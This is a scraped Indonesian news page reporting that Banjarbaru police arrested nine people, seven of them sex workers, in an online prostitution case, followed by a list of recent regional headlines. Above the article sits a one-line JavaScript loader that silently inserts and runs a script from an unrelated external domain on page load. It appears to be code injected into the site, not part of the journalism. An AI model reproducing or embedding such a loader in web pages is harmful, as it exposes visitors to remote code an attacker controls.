(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tarif Ratusan Ribu, Polisi Amankan 9 Tersangka Kasus Prostitusi Online di Banjarbaru!


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui giat patroli Satuan Sabhara berhasil menjaring bisnis prostitusi online di wilayah Banjarbaru. Sebanyak sembilan orang berhasil diciduk dari dua lokasi berbeda.

Kasubbag Humas Polres Banjarbaru, Iptu Tajuddin Noor mengatakan, giat pemberantasan bisnis prostitusi online itu berlangsung pada 24 Februari lalu. Dalam hal ini petugas menjaring pelaku bisnis haram itu di sebuah indekost, di wilayah Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan.

“Kemudian, kami juga menciduk prostitusi online di kost-kostan di wilayah Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan. Total yang diamankan ada sebanyak 9 orang dan 7 di antaranya adalah PSK,” katanya, kepada Kanalkalimantan,com Sabtu (27/2/2021) malam.

Kasat Sabhara Polres Banjarbaru, AKP Suko, mengungkapkan bahwa pelaku prostitusi online di Banjarbaru semakin marak. Hal itu sebagaimana laporan yang diterima pihaknya melalui Aplikasi Cangkal Polres Banjarbaru.

Selain itu, AKP Suko juga membeberkan bahwa dalam pengungkapan kasus, pihaknya menemukan berbagai modus operasional prostitusi online. Salah satunya, para PSK menjual jasa layanan prostitusi, baik panggilan maupun menyediakan tempat seperti kost maupun.

“Tarif yang dikenakan cukup bervariatif. Ada kategori Short Time (ST) sekitar Rp 300 sampai Rp 600 ribu. Lalu kategori Long Time (LT) berkisar sekitar Rp 800 ribu sampai Rp 1,5 juta” bebernya.

Kesembilan orang yang telah diamankan itu, ujar Suko, telah menjalani pemeriksaan dan dipanggil orangtuanya. Proses selanjutnya menunggu persidangan mereka ditempatkan di Rumah Singgah “Berkarakter’ Dinas Sosial Pemerintah Kota Banjarbaru.

“Saat ini kami masih kenakan Tipiring kepada mereka. Tapi jika mengulang perbuatan yang sama, kami akan bekerja sama dengan Tim Patroli Siber dan Unit Tipiter Sat Reskrim untuk memberkan vonis yan lebih berat. Sedangkan, untuk pengelola penginapan, hotel ataupun kost yang terindikasi melakukan pembiaaran juga akan kami panggil untuk dilakukan pemeriksaan,” tuntasnya. (Kanalkalimatan.com/rico)

 

Reporter : Rico
Editor : Cell

 

 


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

8 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

22 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

23 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.